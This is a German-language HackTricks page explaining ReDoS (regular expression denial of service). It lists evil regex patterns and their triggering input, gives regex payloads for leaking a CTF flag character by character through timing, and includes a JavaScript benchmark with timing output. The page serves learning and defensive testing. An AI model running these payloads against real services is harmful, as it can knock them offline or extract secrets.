Regular expression Denial of Service - ReDoS

Regular Expression Denial of Service - ReDoS

Support HackTricks

Regular Expression Denial of Service (ReDoS)

Ein Regular Expression Denial of Service (ReDoS) tritt auf, wenn jemand Schwächen in der Funktionsweise von regulären Ausdrücken (eine Methode zum Suchen und Abgleichen von Mustern in Text) ausnutzt. Manchmal, wenn reguläre Ausdrücke verwendet werden, können sie sehr langsam werden, insbesondere wenn das Stück Text, mit dem sie arbeiten, größer wird. Diese Langsamkeit kann so schlimm werden, dass sie mit selbst kleinen Erhöhungen der Textgröße sehr schnell zunimmt. Angreifer können dieses Problem nutzen, um ein Programm, das reguläre Ausdrücke verwendet, für lange Zeit daran zu hindern, richtig zu funktionieren.

Der problematische Regex naive Algorithmus

Überprüfe die Details in https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Böse Regexes

Ein böses reguläres Ausdrucksmuster ist eines, das bei manipulierten Eingaben stecken bleibt und einen DoS verursacht. Böse Regex-Muster enthalten typischerweise Gruppierungen mit Wiederholungen und Wiederholungen oder Alternationen mit Überlappungen innerhalb der wiederholten Gruppe. Einige Beispiele für böse Muster sind:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} für x > 10

Alle diese sind anfällig für die Eingabe aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS Payloads

String Exfiltration via ReDoS

In einem CTF (oder Bug-Bounty) kontrollierst du vielleicht den Regex, mit dem eine sensible Information (das Flag) abgeglichen wird. Dann könnte es nützlich sein, die Seite einfrieren zu lassen (Timeout oder längere Verarbeitungszeit), wenn der Regex übereinstimmte und nicht, wenn er es nicht tat. Auf diese Weise kannst du die Zeichenkette Zeichen für Zeichen exfiltrieren:

  • In diesem Beitrag findest du diese ReDoS-Regel: ^(?=<flag>)((.*)*)*salt$

  • Beispiel: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • In diesem Bericht findest du diese: <flag>(((((((.*)*)*)*)*)*)*)!

  • In diesem Bericht verwendete er: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS kontrollierende Eingabe und Regex

Die folgenden sind ReDoS-Beispiele, bei denen du sowohl die Eingabe als auch den Regex kontrollierst:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Tools

References

Unterstützen Sie HackTricks

Last updated